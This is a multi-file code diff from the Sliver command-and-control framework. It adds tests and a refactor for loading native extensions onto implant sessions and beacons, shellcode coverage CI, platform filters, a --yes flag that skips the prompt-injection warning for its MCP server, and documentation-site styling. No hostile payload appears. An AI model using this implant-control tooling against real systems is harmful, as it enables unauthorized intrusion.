||||
- name: Aggregate shellcode coverage
|
||||
id: aggregate
|
||||
continue-on-error: true
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor -trimpath ./test/e2e/shellcode-report
|
||||
-input ./shellcode-input
|
||||
-output ./shellcode-summary
|
||||
|
||||
- name: Publish shellcode coverage table
|
||||
id: publish_shellcode_coverage
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
report="shellcode-summary/shellcode-coverage.md"
|
||||
if [[ ! -s "${report}" ]]; then
|
||||
printf 'Shellcode coverage report is missing or empty: %s\n' "${report}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
delimiter="SHELLCODE_E2E_COVERAGE_EOF"
|
||||
if grep -Fxq "${delimiter}" "${report}"; then
|
||||
printf 'Shellcode coverage report contains the reserved output delimiter: %s\n' "${delimiter}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
{
|
||||
printf 'shellcode_coverage_markdown<<%s\n' "${delimiter}"
|
||||
cat "${report}"
|
||||
printf '%s\n' "${delimiter}"
|
||||
} >> "${GITHUB_OUTPUT}"
|
||||
|
||||
cat "${report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
|
||||
- name: Upload aggregate shellcode coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: shellcode-e2e-coverage-summary
|
||||
path: shellcode-summary
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 30
|
||||
|
||||
- name: Fail on failed or not-run shellcode coverage
|
||||
if: ${{ always() && steps.aggregate.outcome != 'success' }}
|
||||
run: exit 1
|
||||
@@ -1,10 +1,21 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
)
|
||||
|
||||
/*
|
||||
@@ -115,6 +126,25 @@ const (
|
||||
}`
|
||||
)
|
||||
|
||||
type registerExtensionTestRPC struct {
|
||||
rpcpb.SliverRPCClient
|
||||
register func(context.Context, *sliverpb.RegisterExtensionReq, ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
|
||||
}
|
||||
|
||||
func (f *registerExtensionTestRPC) RegisterExtension(ctx context.Context, req *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return f.register(ctx, req, opts...)
|
||||
}
|
||||
|
||||
func newExtensionTestConsole(t *testing.T, rpc rpcpb.SliverRPCClient, session *clientpb.Session, beacon *clientpb.Beacon) *console.SliverClient {
|
||||
t.Helper()
|
||||
|
||||
con := console.NewConsole(false)
|
||||
con.IsCLI = true
|
||||
con.Rpc = rpc
|
||||
con.ActiveTarget.Set(session, beacon)
|
||||
return con
|
||||
}
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
expectedPath := util.ResolvePath("foo/test1.dll")
|
||||
|
||||
@@ -189,6 +219,218 @@ func TestParseExtensionManifest(t *testing.T) {
|
||||
|
||||
}
|
||||
|
||||
func TestConvertOldManifestPreservesInit(t *testing.T) {
|
||||
const initExport = "InitializeExtension"
|
||||
|
||||
manifest, err := ParseExtensionManifest([]byte(`{
|
||||
"name": "legacy-test",
|
||||
"command_name": "legacy-test",
|
||||
"help": "some help",
|
||||
"init": "InitializeExtension",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test.dll"
|
||||
}
|
||||
]
|
||||
}`))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing legacy extension manifest: %s", err)
|
||||
}
|
||||
if len(manifest.ExtCommand) != 1 {
|
||||
t.Fatalf("Expected 1 extension command, got %d", len(manifest.ExtCommand))
|
||||
}
|
||||
if manifest.ExtCommand[0].Init != initExport {
|
||||
t.Errorf("Expected init export %q, got %q", initExport, manifest.ExtCommand[0].Init)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionPropagatesInit(t *testing.T) {
|
||||
const initExport = "InitializeExtension"
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
session *clientpb.Session
|
||||
beacon *clientpb.Beacon
|
||||
wantAsync bool
|
||||
wantID string
|
||||
}{
|
||||
{
|
||||
name: "session",
|
||||
session: &clientpb.Session{ID: "session-id"},
|
||||
wantID: "session-id",
|
||||
},
|
||||
{
|
||||
name: "beacon",
|
||||
beacon: &clientpb.Beacon{ID: "beacon-id"},
|
||||
wantAsync: true,
|
||||
wantID: "beacon-id",
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
var gotReq *sliverpb.RegisterExtensionReq
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, req *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
gotReq = req
|
||||
return &sliverpb.RegisterExtension{Response: &commonpb.Response{}}, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, test.session, test.beacon)
|
||||
|
||||
err := registerExtension("linux", &ExtCommand{CommandName: "test", Init: initExport}, []byte("extension"), nil, con)
|
||||
if err != nil {
|
||||
t.Fatalf("RegisterExtension returned an error: %s", err)
|
||||
}
|
||||
if gotReq == nil {
|
||||
t.Fatal("RegisterExtension RPC was not called")
|
||||
}
|
||||
if gotReq.Init != initExport {
|
||||
t.Errorf("Expected init export %q, got %q", initExport, gotReq.Init)
|
||||
}
|
||||
if gotReq.Request.GetAsync() != test.wantAsync {
|
||||
t.Errorf("Expected async=%t, got %t", test.wantAsync, gotReq.Request.GetAsync())
|
||||
}
|
||||
if test.wantAsync && gotReq.Request.GetBeaconID() != test.wantID {
|
||||
t.Errorf("Expected beacon ID %q, got %q", test.wantID, gotReq.Request.GetBeaconID())
|
||||
}
|
||||
if !test.wantAsync && gotReq.Request.GetSessionID() != test.wantID {
|
||||
t.Errorf("Expected session ID %q, got %q", test.wantID, gotReq.Request.GetSessionID())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionWaitsForBeaconRegistration(t *testing.T) {
|
||||
started := make(chan struct{})
|
||||
release := make(chan struct{})
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
close(started)
|
||||
<-release
|
||||
return &sliverpb.RegisterExtension{Response: &commonpb.Response{Async: true}}, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, nil, &clientpb.Beacon{ID: "beacon-id"})
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-started:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("Timed out waiting for RegisterExtension RPC")
|
||||
}
|
||||
select {
|
||||
case err := <-done:
|
||||
t.Fatalf("RegisterExtension returned before the beacon registration was enqueued: %v", err)
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
}
|
||||
close(release)
|
||||
select {
|
||||
case err := <-done:
|
||||
if err != nil {
|
||||
t.Fatalf("RegisterExtension returned an error: %s", err)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("Timed out waiting for RegisterExtension to return")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionReturnsBeaconRPCError(t *testing.T) {
|
||||
wantErr := errors.New("register failed")
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, wantErr
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, nil, &clientpb.Beacon{ID: "beacon-id"})
|
||||
|
||||
err := registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con)
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("Expected error %q, got %v", wantErr, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionRejectsNilResponse(t *testing.T) {
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, &clientpb.Session{ID: "session-id"}, nil)
|
||||
|
||||
if err := registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con); err == nil {
|
||||
t.Fatal("RegisterExtension accepted a nil response")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionCommandVisibilityUsesExactTargetPairs(t *testing.T) {
|
||||
extension := &ExtCommand{Files: []*extensionFile{
|
||||
{OS: "windows", Arch: "amd64"},
|
||||
{OS: "linux", Arch: "amd64"},
|
||||
{OS: "darwin", Arch: "arm64"},
|
||||
}}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
session *clientpb.Session
|
||||
beacon *clientpb.Beacon
|
||||
wantVisible bool
|
||||
}{
|
||||
{
|
||||
name: "cross-platform Linux session",
|
||||
session: &clientpb.Session{OS: "linux", Arch: "amd64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "cross-platform macOS beacon",
|
||||
beacon: &clientpb.Beacon{OS: "darwin", Arch: "arm64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "cross-platform Windows session",
|
||||
session: &clientpb.Session{OS: "windows", Arch: "amd64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "Linux architecture mismatch",
|
||||
session: &clientpb.Session{OS: "linux", Arch: "arm64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "macOS architecture mismatch",
|
||||
beacon: &clientpb.Beacon{OS: "darwin", Arch: "amd64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "Windows architecture mismatch",
|
||||
session: &clientpb.Session{OS: "windows", Arch: "386"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "unsupported native extension target",
|
||||
beacon: &clientpb.Beacon{OS: "linux", Arch: "riscv64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
con := newExtensionTestConsole(t, nil, test.session, test.beacon)
|
||||
command := &cobra.Command{Annotations: makeCommandPlatformFilters(extension)}
|
||||
activeFilters := con.App.Menu(consts.ImplantMenu).ActiveFiltersFor(command)
|
||||
visible := len(activeFilters) == 0
|
||||
if visible != test.wantVisible {
|
||||
t.Fatalf("command visibility = %t, want %t (active filters: %v)", visible, test.wantVisible, activeFilters)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMultipleCmdManifest(t *testing.T) {
|
||||
expectedPath := util.ResolvePath("ex.dll")
|
||||
|
||||
|
||||
@@ -221,6 +221,7 @@ func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
Help: old.Help,
|
||||
LongHelp: old.LongHelp,
|
||||
Entrypoint: old.Entrypoint,
|
||||
Init: old.Init,
|
||||
Files: old.Files,
|
||||
Arguments: old.Arguments,
|
||||
Schema: nil,
|
||||
@@ -471,44 +472,30 @@ func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.
|
||||
//set extension name to a hash of the data to avoid loading more than one instance
|
||||
bd := sha256.Sum256(binData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
sess, beac := con.ActiveTarget.GetInteractive()
|
||||
sess, _ := con.ActiveTarget.GetInteractive()
|
||||
ctrl := make(chan bool)
|
||||
//first time run of an extension will require some waiting depending on the size
|
||||
if sess != nil {
|
||||
msg := fmt.Sprintf("Sending %s to implant ...", ext.CommandName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
}
|
||||
//don't block if we are in beacon mode
|
||||
if beac != nil && sess == nil {
|
||||
go func() {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error registering extension: %s\n", err)
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
con.PrintErrorf("Error registering extension: %s\n", errors.New(registerResp.Response.Err))
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
//session mode (hopefully)
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if sess != nil {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if registerResp == nil {
|
||||
return errors.New("received empty register extension response")
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
return errors.New(registerResp.Response.Err)
|
||||
}
|
||||
@@ -865,37 +852,22 @@ func makeExtensionFlagNameCompletion(extCmd *ExtCommand) carapace.Action {
|
||||
}
|
||||
|
||||
func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
var all []string
|
||||
|
||||
// Only add filters for architectures when there OS matters.
|
||||
supportedTargets := make(map[string]struct{}, len(extCmd.Files))
|
||||
for _, file := range extCmd.Files {
|
||||
filtersOS[file.OS] = true
|
||||
|
||||
if filtersOS[file.OS] {
|
||||
filtersArch[file.Arch] = true
|
||||
}
|
||||
supportedTargets[file.OS+"/"+file.Arch] = struct{}{}
|
||||
}
|
||||
|
||||
for os, enabled := range filtersOS {
|
||||
if enabled {
|
||||
all = append(all, os)
|
||||
// Console command filters are hide-on-match, so annotate the command with
|
||||
// every exact target pair it does not support. A separate fallback hides all
|
||||
// native extensions on target pairs outside the supported loader matrix.
|
||||
filters := []string{consts.NativeExtensionUnsupportedTargetFilter}
|
||||
for _, target := range consts.NativeExtensionTargets() {
|
||||
if _, supported := supportedTargets[target.GOOS+"/"+target.GOARCH]; !supported {
|
||||
filters = append(filters, target.Filter)
|
||||
}
|
||||
}
|
||||
|
||||
for arch, enabled := range filtersArch {
|
||||
if enabled {
|
||||
all = append(all, arch)
|
||||
}
|
||||
}
|
||||
|
||||
if len(all) == 0 {
|
||||
return map[string]string{}
|
||||
}
|
||||
|
||||
return map[string]string{
|
||||
appConsole.CommandFilterKey: strings.Join(all, ","),
|
||||
appConsole.CommandFilterKey: strings.Join(filters, ","),
|
||||
}
|
||||
}
|
||||
@@ -87,6 +87,7 @@ var (
|
||||
"linux/arm64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
"windows/arm64": true,
|
||||
}
|
||||
|
||||
ErrNoExternalBuilder = errors.New("no external builders are available")
|
||||
|
||||
@@ -38,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.String("listen", defaultConfig.ListenAddress, "listen address for the MCP server")
|
||||
f.String("name", defaultConfig.ServerName, "server name for MCP initialize")
|
||||
f.String("version", defaultConfig.ServerVersion, "server version for MCP initialize")
|
||||
f.BoolP("yes", "y", false, "skip the prompt-injection confirmation (broken or non-interactive terminals)")
|
||||
})
|
||||
flags.BindFlagCompletions(startCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["transport"] = carapace.ActionValues("http", "sse")
|
||||
|
||||
@@ -32,6 +32,9 @@ func McpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if status.AuthToken != "" {
|
||||
con.Printf("Auth Token: %s\n", status.AuthToken)
|
||||
}
|
||||
if status.AuthConfigPath != "" {
|
||||
con.Printf("Auth Config: %s\n", status.AuthConfigPath)
|
||||
}
|
||||
|
||||
if status.Running && !status.StartedAt.IsZero() {
|
||||
uptime := time.Since(status.StartedAt).Truncate(time.Second)
|
||||
|
||||
@@ -28,8 +28,10 @@ func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
}.WithDefaults()
|
||||
|
||||
msg := `Do you know what prompt injection is and are you an adult?`
|
||||
if !settings.IsUserAnAdultWithPrompt(con, msg) {
|
||||
skipConfirm, _ := cmd.Flags().GetBool("yes")
|
||||
if !skipConfirm && !settings.IsUserAnAdultWithPrompt(con, msg) {
|
||||
con.PrintErrorf("Failed to start MCP server, the user is not qualified to use feature\n")
|
||||
con.PrintInfof("Use --yes to skip the confirmation prompt, or toggle it with 'settings autoadult'\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -50,4 +52,7 @@ func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if status.AuthToken != "" {
|
||||
con.PrintInfof("Auth Token: %s\n", status.AuthToken)
|
||||
}
|
||||
if status.AuthConfigPath != "" {
|
||||
con.PrintInfof("Auth Config: %s\n", status.AuthConfigPath)
|
||||
}
|
||||
}
|
||||
@@ -50,7 +50,12 @@ func IsUserAnAdultWithPrompt(con *console.SliverClient, prompt string) bool {
|
||||
return true
|
||||
}
|
||||
confirm := false
|
||||
_ = forms.Confirm(prompt, &confirm)
|
||||
if err := forms.Confirm(prompt, &confirm); err != nil {
|
||||
// The interactive form is known to fail on some terminals (#2133);
|
||||
// surface the error instead of silently treating it as a rejection.
|
||||
con.PrintErrorf("Confirmation prompt failed: %s\n", err)
|
||||
return false
|
||||
}
|
||||
return confirm
|
||||
}
|
||||
|
||||
|
||||
@@ -1147,6 +1147,7 @@ func (con *SliverClient) ExposeCommands() {
|
||||
case con.ActiveTarget.session != nil:
|
||||
session := con.ActiveTarget.session
|
||||
filters = append(filters, consts.BeaconCmdsFilter)
|
||||
filters = append(filters, consts.NativeExtensionTargetFilter(session.OS, session.Arch))
|
||||
|
||||
// Operating system
|
||||
if session.OS != "windows" {
|
||||
@@ -1161,6 +1162,7 @@ func (con *SliverClient) ExposeCommands() {
|
||||
case con.ActiveTarget.beacon != nil:
|
||||
beacon := con.ActiveTarget.beacon
|
||||
filters = append(filters, consts.SessionCmdsFilter)
|
||||
filters = append(filters, consts.NativeExtensionTargetFilter(beacon.OS, beacon.Arch))
|
||||
|
||||
// Operating system
|
||||
if beacon.OS != "windows" {
|
||||
|
||||
@@ -363,8 +363,53 @@ const (
|
||||
BeaconCmdsFilter = "beacon"
|
||||
WindowsCmdsFilter = "windows"
|
||||
WireguardCmdsFilter = "wireguard"
|
||||
|
||||
NativeExtensionUnsupportedTargetFilter = "native-extension:unsupported"
|
||||
NativeExtensionDarwinAMD64Filter = "native-extension:darwin/amd64"
|
||||
NativeExtensionDarwinARM64Filter = "native-extension:darwin/arm64"
|
||||
NativeExtensionLinux386Filter = "native-extension:linux/386"
|
||||
NativeExtensionLinuxAMD64Filter = "native-extension:linux/amd64"
|
||||
NativeExtensionLinuxARM64Filter = "native-extension:linux/arm64"
|
||||
NativeExtensionWindows386Filter = "native-extension:windows/386"
|
||||
NativeExtensionWindowsAMD64Filter = "native-extension:windows/amd64"
|
||||
NativeExtensionWindowsARM64Filter = "native-extension:windows/arm64"
|
||||
)
|
||||
|
||||
// NativeExtensionTarget identifies a GOOS/GOARCH pair supported by native
|
||||
// implant extensions and the command filter associated with that exact pair.
|
||||
type NativeExtensionTarget struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Filter string
|
||||
}
|
||||
|
||||
var nativeExtensionTargets = [8]NativeExtensionTarget{
|
||||
{GOOS: "darwin", GOARCH: "amd64", Filter: NativeExtensionDarwinAMD64Filter},
|
||||
{GOOS: "darwin", GOARCH: "arm64", Filter: NativeExtensionDarwinARM64Filter},
|
||||
{GOOS: "linux", GOARCH: "386", Filter: NativeExtensionLinux386Filter},
|
||||
{GOOS: "linux", GOARCH: "amd64", Filter: NativeExtensionLinuxAMD64Filter},
|
||||
{GOOS: "linux", GOARCH: "arm64", Filter: NativeExtensionLinuxARM64Filter},
|
||||
{GOOS: "windows", GOARCH: "386", Filter: NativeExtensionWindows386Filter},
|
||||
{GOOS: "windows", GOARCH: "amd64", Filter: NativeExtensionWindowsAMD64Filter},
|
||||
{GOOS: "windows", GOARCH: "arm64", Filter: NativeExtensionWindowsARM64Filter},
|
||||
}
|
||||
|
||||
// NativeExtensionTargets returns the supported native extension target matrix.
|
||||
func NativeExtensionTargets() [8]NativeExtensionTarget {
|
||||
return nativeExtensionTargets
|
||||
}
|
||||
|
||||
// NativeExtensionTargetFilter returns the filter for an exact supported target.
|
||||
// Unsupported pairs share a filter that hides all native extension commands.
|
||||
func NativeExtensionTargetFilter(goos string, goarch string) string {
|
||||
for _, target := range nativeExtensionTargets {
|
||||
if target.GOOS == goos && target.GOARCH == goarch {
|
||||
return target.Filter
|
||||
}
|
||||
}
|
||||
return NativeExtensionUnsupportedTargetFilter
|
||||
}
|
||||
|
||||
// Creds (needed here to avoid recursive imports).
|
||||
const (
|
||||
UserColonHashNewlineFormat = "user:hash" // username:hash\n
|
||||
|
||||
@@ -3,6 +3,8 @@ import React from "react";
|
||||
|
||||
type AsciinemaPlayerProps = {
|
||||
src: string;
|
||||
className?: string;
|
||||
hideControls?: boolean;
|
||||
|
||||
cols?: string;
|
||||
rows?: string;
|
||||
@@ -18,10 +20,67 @@ type AsciinemaPlayerProps = {
|
||||
fontSize?: string;
|
||||
};
|
||||
|
||||
function AsciinemaPlayer({ src, ...asciinemaOptions }: AsciinemaPlayerProps) {
|
||||
function AsciinemaPlayer({
|
||||
src,
|
||||
className,
|
||||
hideControls,
|
||||
cols,
|
||||
rows,
|
||||
autoPlay,
|
||||
preload,
|
||||
loop,
|
||||
startAt,
|
||||
speed,
|
||||
idleTimeLimit,
|
||||
theme,
|
||||
poster,
|
||||
fit,
|
||||
fontSize,
|
||||
}: AsciinemaPlayerProps) {
|
||||
const ref = React.useRef<HTMLDivElement>(null);
|
||||
const [prefersReducedMotion, setPrefersReducedMotion] = React.useState(false);
|
||||
const [player, setPlayer] =
|
||||
React.useState<typeof import("asciinema-player")>();
|
||||
const asciinemaOptions = React.useMemo(
|
||||
() => ({
|
||||
autoPlay: prefersReducedMotion ? false : autoPlay,
|
||||
cols,
|
||||
controls: hideControls ? false : undefined,
|
||||
fit,
|
||||
fontSize,
|
||||
idleTimeLimit,
|
||||
loop: prefersReducedMotion ? false : loop,
|
||||
poster,
|
||||
preload,
|
||||
rows,
|
||||
speed,
|
||||
startAt,
|
||||
theme,
|
||||
}),
|
||||
[
|
||||
autoPlay,
|
||||
cols,
|
||||
fit,
|
||||
fontSize,
|
||||
hideControls,
|
||||
idleTimeLimit,
|
||||
loop,
|
||||
poster,
|
||||
preload,
|
||||
prefersReducedMotion,
|
||||
rows,
|
||||
speed,
|
||||
startAt,
|
||||
theme,
|
||||
],
|
||||
);
|
||||
React.useEffect(() => {
|
||||
const mediaQuery = window.matchMedia("(prefers-reduced-motion: reduce)");
|
||||
const syncPreference = () => setPrefersReducedMotion(mediaQuery.matches);
|
||||
syncPreference();
|
||||
mediaQuery.addEventListener("change", syncPreference);
|
||||
return () => mediaQuery.removeEventListener("change", syncPreference);
|
||||
}, []);
|
||||
React.useEffect(() => {
|
||||
import("asciinema-player").then((p) => {
|
||||
setPlayer(p);
|
||||
@@ -35,7 +94,17 @@ function AsciinemaPlayer({ src, ...asciinemaOptions }: AsciinemaPlayerProps) {
|
||||
};
|
||||
}, [src, player, asciinemaOptions]);
|
||||
|
||||
return <div ref={ref} />;
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
className={[
|
||||
className,
|
||||
hideControls ? "sliver-asciinema-controls-hidden" : undefined,
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(" ")}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
export default AsciinemaPlayer;
|
||||
@@ -60,11 +60,8 @@ const CodeViewer = (props: CodeViewerProps) => {
|
||||
props.script.source_code
|
||||
);
|
||||
const [fontSize, setFontSize] = React.useState(props.fontSize || 13);
|
||||
const editorContainerClassName = React.useMemo(() => {
|
||||
return theme === Themes.DARK
|
||||
? "col-span-12 mt-4 rounded-2xl overflow-hidden"
|
||||
: "col-span-12 mt-4 rounded-2xl overflow-hidden border border-gray-300";
|
||||
}, [theme]);
|
||||
const editorContainerClassName =
|
||||
"col-span-12 mt-4 overflow-hidden rounded-2xl border border-separator bg-surface-secondary";
|
||||
|
||||
return (
|
||||
<div className={editorContainerClassName}>
|
||||
|
||||
@@ -3,9 +3,9 @@ import React from "react";
|
||||
|
||||
const LoadingState: React.FC = () => {
|
||||
return (
|
||||
<div className="flex min-h-screen w-full items-center justify-center gap-3 text-foreground">
|
||||
<div className="flex min-h-[55vh] w-full items-center justify-center gap-3 text-muted">
|
||||
<Spinner aria-label="Loading" />
|
||||
<span>Loading...</span>
|
||||
<span className="text-sm">Loading documentation…</span>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
@@ -27,6 +27,7 @@ import Youtube from "./youtube";
|
||||
|
||||
export type MarkdownProps = {
|
||||
markdown: string;
|
||||
demoteTopLevelHeading?: boolean;
|
||||
};
|
||||
|
||||
type MarkdownAsciiCast = {
|
||||
@@ -121,12 +122,12 @@ const slugify = (value: string) => {
|
||||
};
|
||||
|
||||
const headingClassNames: Record<HeadingLevel, string> = {
|
||||
1: "mt-12 text-3xl font-semibold tracking-tight text-slate-900 first:mt-0 dark:text-slate-100",
|
||||
2: "mt-10 text-2xl font-semibold tracking-tight text-slate-900 dark:text-slate-100",
|
||||
3: "mt-8 text-xl font-semibold tracking-tight text-slate-900 dark:text-slate-100",
|
||||
4: "mt-6 text-lg font-semibold tracking-tight text-slate-900 dark:text-slate-100",
|
||||
5: "mt-6 text-base font-semibold tracking-tight text-slate-900 dark:text-slate-100",
|
||||
6: "mt-6 text-base font-semibold uppercase tracking-wide text-slate-700 dark:text-slate-300",
|
||||
1: "mt-12 text-3xl font-semibold tracking-tight text-foreground first:mt-0",
|
||||
2: "mt-12 text-2xl font-semibold tracking-tight text-foreground",
|
||||
3: "mt-9 text-xl font-semibold tracking-tight text-foreground",
|
||||
4: "mt-8 text-lg font-semibold tracking-tight text-foreground",
|
||||
5: "mt-7 text-base font-semibold tracking-tight text-foreground",
|
||||
6: "mt-7 text-base font-semibold tracking-tight text-foreground",
|
||||
};
|
||||
|
||||
const MarkdownViewer = (props: MarkdownProps) => {
|
||||
@@ -218,7 +219,9 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
}
|
||||
|
||||
const anchor = anchorRef.current;
|
||||
const HeadingTag = `h${level}`;
|
||||
const renderedLevel =
|
||||
level === 1 && props.demoteTopLevelHeading ? 2 : level;
|
||||
const HeadingTag = `h${renderedLevel}`;
|
||||
|
||||
return createElement(
|
||||
HeadingTag,
|
||||
@@ -226,7 +229,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
...rest,
|
||||
id: anchor || undefined,
|
||||
className: mergeClassNames(
|
||||
headingClassNames[level],
|
||||
headingClassNames[renderedLevel],
|
||||
"scroll-mt-[70px]",
|
||||
className
|
||||
),
|
||||
@@ -236,8 +239,8 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
{anchor && (
|
||||
<a
|
||||
href={`#${anchor}`}
|
||||
aria-label="Copy link to section"
|
||||
className="inline-flex h-6 w-6 items-center justify-center rounded-md text-slate-400 transition focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-primary/40 focus-visible:ring-offset-2 hover:text-primary dark:text-slate-500"
|
||||
aria-label={`Link to ${textContent}`}
|
||||
className="-my-2 inline-flex size-10 items-center justify-center rounded-xl text-muted focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-accent/40 hover:bg-surface-secondary hover:text-accent"
|
||||
>
|
||||
<svg
|
||||
aria-hidden="true"
|
||||
@@ -283,12 +286,12 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
h5: createHeadingComponent(5),
|
||||
h6: createHeadingComponent(6),
|
||||
};
|
||||
}, [getAnchor]);
|
||||
}, [getAnchor, props.demoteTopLevelHeading]);
|
||||
|
||||
const proseClassName = mergeClassNames(
|
||||
"markdown-body prose max-w-none leading-7",
|
||||
theme === Themes.DARK ? "dark:prose-invert prose-slate" : "prose-slate",
|
||||
"prose-pre:bg-slate-950/90 prose-pre:text-slate-100 prose-code:font-mono prose-img:rounded-xl"
|
||||
"prose-code:font-mono prose-img:rounded-2xl"
|
||||
);
|
||||
|
||||
return (
|
||||
@@ -307,7 +310,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
{...rest}
|
||||
href={href}
|
||||
className={mergeClassNames(
|
||||
"font-medium text-primary transition-colors duration-150 hover:text-primary-dark",
|
||||
"font-medium text-accent underline-offset-4 hover:underline",
|
||||
className
|
||||
)}
|
||||
onClick={(e) => {
|
||||
